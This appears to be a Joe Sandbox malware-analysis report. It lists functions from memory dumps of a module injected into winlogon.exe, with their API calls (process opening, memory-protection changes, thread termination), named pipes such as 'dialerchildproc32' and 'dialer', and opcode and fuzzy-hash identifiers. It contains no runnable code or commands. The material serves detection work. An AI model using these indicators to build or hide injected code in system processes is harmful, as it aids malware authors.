Source File: 00000016.00000002.3076077378.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc610000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 7539ecd07ed9e19813cea4b70ed8e4e8e5b401edcb5cd18e99020899339b4ff2
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: DF81122D702E71A6FE60EBED944D35962E0EB95783F18C425AB4983797EF38C946C700

Function 00000225DC64CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000225DC64CE37
FlsGetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CE4C
FlsSetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CE6D
FlsSetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CE9A
FlsSetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CEAB
FlsSetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CEBC
SetLastError.KERNEL32 ref: 00000225DC64CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CF0D
FlsSetValue.KERNEL32(?,?,00000001,00000225DC64ECCC,?,?,?,?,00000225DC64BF9F,?,?,?,?,?,00000225DC647AB0), ref: 00000225DC64CF2C

Part of subcall function 00000225DC64D6CC: HeapAlloc.KERNEL32 ref: 00000225DC64D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CF54

Part of subcall function 00000225DC64D744: HeapFree.KERNEL32 ref: 00000225DC64D75A
Part of subcall function 00000225DC64D744: GetLastError.KERNEL32 ref: 00000225DC64D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CF76

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: c96d39c070731bccc58dc25472949b9c8324ede58aceb138708ddbc32eb2cb43
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 3B41AB2C34CE64B6FE68A7FD955D36932825F857B2F24C7A4A937467E6DF388442C200

Function 00000225DC642244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000225DC642259
GetCurrentProcessId.KERNEL32 ref: 00000225DC642263

Part of subcall function 00000225DC641934: OpenProcess.KERNEL32 ref: 00000225DC641952
Part of subcall function 00000225DC641934: IsWow64Process.KERNEL32 ref: 00000225DC641968
Part of subcall function 00000225DC641934: CloseHandle.KERNEL32 ref: 00000225DC641983

CreateFileW.KERNEL32 ref: 00000225DC6422BC
WriteFile.KERNEL32 ref: 00000225DC6422E4
ReadFile.KERNEL32 ref: 00000225DC642303
CloseHandle.KERNEL32 ref: 00000225DC64230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 00000225DC642293
\\.\pipe\dialerchildproc64, xrefs: 00000225DC64228C

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 1de5ddcc8f1dfc1167620b25f9dc58926eb66b08d3309719a253bb24b32ba1e0
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 8E215679628F5093F710CBA9F54835977A1F785796F608215DB5903BA4CF7CC145CB00

Function 00000225DC619944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000225DC6199A1

Part of subcall function 00000225DC61A814: __GetUnwindTryBlock.LIBCMT ref: 00000225DC61A857
Part of subcall function 00000225DC61A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000225DC61A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000225DC619A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000225DC619CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC619DDA

Strings

csm, xrefs: 00000225DC619A22
csm, xrefs: 00000225DC619A9C
csm, xrefs: 00000225DC6199BB

Memory Dump Source

Source File: 00000016.00000002.3076077378.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc610000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: ccd8efdbd64409059a3f17658d38d7afc50ea8cd74631e28eb6d2bb9e49f1cd4
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: F3E1D37A602F609AEF60DFA9D48839D77E0F749B8BF108115EE8947B99CB34C592C700

Function 00000225DC64A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000225DC64A5A1

Part of subcall function 00000225DC64B414: __GetUnwindTryBlock.LIBCMT ref: 00000225DC64B457
Part of subcall function 00000225DC64B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000225DC64B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000225DC64A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000225DC64A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC64A9DA

Strings

csm, xrefs: 00000225DC64A5BB
csm, xrefs: 00000225DC64A69C
csm, xrefs: 00000225DC64A622

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: bf4187be2395a619f89a1bc8f3fca4df6631bddcfcdd61a4c67bb6d669326bcb
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 65E1A47A60CF60AAFB60DFA9D44839D77A4F745799F208155EE8A57B9ACB34C082C700

Function 00000225DC64F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000225DC64F510
GetProcAddress.KERNEL32 ref: 00000225DC64F51C

Strings

api-ms-, xrefs: 00000225DC64F45A
ext-ms-, xrefs: 00000225DC64F46D

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 4194e3e7209c85e71950454c05d0e0ffaf74f2fe4e207fa6d649fb1745087b51
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: E541F42A32DE20B1EB56CBEEA9087553391BB49BE2F15C125AD0F87785EF38C445C315

Function 00000225DC64104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6410B1
RegEnumValueW.ADVAPI32 ref: 00000225DC641117
GetProcessHeap.KERNEL32 ref: 00000225DC64115A
HeapAlloc.KERNEL32 ref: 00000225DC641168
GetProcessHeap.KERNEL32 ref: 00000225DC641185
HeapFree.KERNEL32 ref: 00000225DC641193

Strings

d, xrefs: 00000225DC6410D6

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: d1ef6154134f3d25a2e3b62082cc3c12da5f52964662e2438e80bc3b6bcb4469
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: B6418077218F94D6E760CFA5E44879E77A1F388B99F148129DB8A07B58DF38C449CB00

Function 00000225DC64D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D087
FlsSetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D0A6
FlsSetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D0CE
FlsSetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D0DF
FlsSetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D0F0

Strings

Y%, xrefs: 00000225DC64D0A6
1%, xrefs: 00000225DC64D0CE

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: be52c68ba33939f5a848b29d9d21d48e408fdab80177f021fac5a07cf6ddf0ee
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: C111B628B0CE64A1FE6897BED55D32971415B557F2F14C3A4A87B477DADE78C442C200

Function 00000225DC647510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC647538
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC64758A
_RTC_Initialize.LIBCMT ref: 00000225DC6475B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC6475DE
__scrt_release_startup_lock.LIBCMT ref: 00000225DC647609

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: a54115b046e8042141df28d7bb05dcfe8318faa30d7cb3b304a9c15ab40c91e6
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 0281362C61CE31AAFB54ABEDA44C39937D1E785782F14C4A4DA0B877A6DB38C845CF00

Function 00000225DC649DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000225DC649E49
GetLastError.KERNEL32 ref: 00000225DC649E57
LoadLibraryExW.KERNEL32 ref: 00000225DC649E81
FreeLibrary.KERNEL32 ref: 00000225DC649EC7
GetProcAddress.KERNEL32 ref: 00000225DC649ED3

Strings

api-ms-, xrefs: 00000225DC649E69

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 1846bb63d11909a53191b25e77548844483a8de6adc9bd3f24389271b0a95010
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 2131E62935EE60F1EE21DBCAA408B653398BB48BA6F5985259D1F0B798DF39C447C300

Function 00000225DC653DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000225DC653DE5
GetLastError.KERNEL32 ref: 00000225DC653DF1
CloseHandle.KERNEL32 ref: 00000225DC653E09
CreateFileW.KERNEL32 ref: 00000225DC653E34
WriteConsoleW.KERNEL32 ref: 00000225DC653E53

Strings

CONOUT$, xrefs: 00000225DC653E15

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 158becd88709c9cbcacd230cd8387edf0a13bed790f97ee48f9835d8b457c441
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 5A119135720F6096E7608BDAE84831977A0F788FE6F248225EB5E877A4CF78C914C740

Function 00000225DC642F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC642F27
HeapAlloc.KERNEL32 ref: 00000225DC642F3A
StrCmpNIW.SHLWAPI ref: 00000225DC642FAF
GetProcessHeap.KERNEL32 ref: 00000225DC643015
HeapFree.KERNEL32 ref: 00000225DC643023

Strings

dialer, xrefs: 00000225DC642FA8

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 2e98920b3895b546e8cfee93848436d20f1d91fbd890dc42e4983bef65e91d92
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 9131CE2A309F65A2EB52CFDEE54872A77A0FB44B86F18C1209F4A47B55EF34C4A1C300

Function 00000225DC64CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000225DC64CFAF
FlsSetValue.KERNEL32(?,?,?,00000225DC64D6B5,?,?,?,?,00000225DC64D778), ref: 00000225DC64CFE5
FlsSetValue.KERNEL32(?,?,?,00000225DC64D6B5,?,?,?,?,00000225DC64D778), ref: 00000225DC64D012
FlsSetValue.KERNEL32(?,?,?,00000225DC64D6B5,?,?,?,?,00000225DC64D778), ref: 00000225DC64D023
FlsSetValue.KERNEL32(?,?,?,00000225DC64D6B5,?,?,?,?,00000225DC64D778), ref: 00000225DC64D034
SetLastError.KERNEL32 ref: 00000225DC64D04F

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 4157702fcb9233f49a77c46e803b27685ba528657f510afb3a862d3f666b09f6
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: B3119D2874CE6071FE64ABFE954D32932426B95BB6F10C3A4A837477EADE78C441C200

Function 00000225DC64199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000225DC6419C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC6419E0
PathFindFileNameW.SHLWAPI ref: 00000225DC6419EF
lstrlenW.KERNEL32 ref: 00000225DC6419FB
StrCpyW.SHLWAPI ref: 00000225DC641A0E
CloseHandle.KERNEL32 ref: 00000225DC641A1C

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: c75f4c628c11a50a5007a532dfe706c93d8ee4e04b1e1be502c9ae2a36d6589c
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 0E016929314E5092EB60DB9AA84C35963A1F788BC6F988075DF8A43754DF3CC989C740

Function 00000225DC6436C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000225DC6436E4
GetCurrentProcess.KERNEL32 ref: 00000225DC6436F2
VirtualProtectEx.KERNEL32 ref: 00000225DC643714
GetCurrentProcess.KERNEL32 ref: 00000225DC643732
VirtualProtectEx.KERNEL32 ref: 00000225DC643753
TerminateThread.KERNEL32 ref: 00000225DC643762

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 5377c2d080006a4fe2cd119959f91c4f1597db279fc077c9b970d2bb0f292206
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: E101296D325F6492FB649BAAE80C71A73A0BB49B87F148464CE4A07765EF3DC158C704

Function 00000225DC648FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC649013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6490A8
RtlUnwindEx.NTDLL ref: 00000225DC6490F7

Strings

f, xrefs: 00000225DC649026
csm, xrefs: 00000225DC64908E

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: b166926d79cf74f009588074e3820990c0fc1e07a97fa4e01069ba2e3ee14553
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 6651BF3A75DA20EAEB14DF99E84CB5937AAF344B8AF10C5A4DA174778CDB35C842C700

Function 00000225DC641A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000225DC641A60
StrCmpNIW.SHLWAPI ref: 00000225DC641A7A
lstrlenW.KERNEL32 ref: 00000225DC641A89
StrCpyW.SHLWAPI ref: 00000225DC641A9E

Strings

\\?\, xrefs: 00000225DC641A6E

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: e535c0649dfb5c656df934673802aa2881829a80634b4f76755b7f08d64bed47
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 69F04466718E51A2E7608BE9F9887596761F748BC9F94C020DB4A46654DF3CC68DCB00

Function 00000225DC643044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000225DC643066
StrCpyW.SHLWAPI ref: 00000225DC643076
StrCatW.SHLWAPI ref: 00000225DC643082
PathCombineW.SHLWAPI ref: 00000225DC643090

Strings

\\.\pipe\, xrefs: 00000225DC64305C

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 05bf48fb40d5b317a8235632c964cef6d02a25c8f7691d3038dd68194b884147
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 51F08C28328FA4A2FA448FDBB90C1196260AB48FD2F18E170EF4A07B58DF3CC485C700

Function 00000225DC64BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000225DC64BCBD
GetProcAddress.KERNEL32 ref: 00000225DC64BCD3
FreeLibrary.KERNEL32 ref: 00000225DC64BCFA

Strings

mscoree.dll, xrefs: 00000225DC64BCB4
CorExitProcess, xrefs: 00000225DC64BCCC

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 44bd982de87b7b9a06009664450f2777bab72fc188efb7fa02744482d7f49e87
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 72F09669329F14A1EB108FECE44C3596361EB89766F648259DB6A462F4CF3CC044C740

Function 00000225DC645710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645726

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction ID: 8f9846ecf6cf7499faee6b5ce6658377365f055e4165f45403509503972279d5
Opcode Fuzzy Hash: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction Fuzzy Hash: 6561CD3A51DF94D6E760CB99E44831AB7A0F3C8796F109165EA8E87BA8DB7CC544CF00

Function 00000225DC623504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000225DC62352C
_set_statfp.LIBCMT ref: 00000225DC623547
_set_statfp.LIBCMT ref: 00000225DC623563
_set_statfp.LIBCMT ref: 00000225DC62359F

Memory Dump Source

Source File: 00000016.00000002.3076077378.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc610000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 0f0cd1f3b4902091acada321e62a835e8ba03bea7c675b6eead67c7f9176ca24
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 6B11C63AA60E3131FB6415ECE45D37991C86B58BB6F48C639A97F2E3D6CB34C881C200

Function 00000225DC654104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000225DC65412C
_set_statfp.LIBCMT ref: 00000225DC654147
_set_statfp.LIBCMT ref: 00000225DC654163
_set_statfp.LIBCMT ref: 00000225DC65419F

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
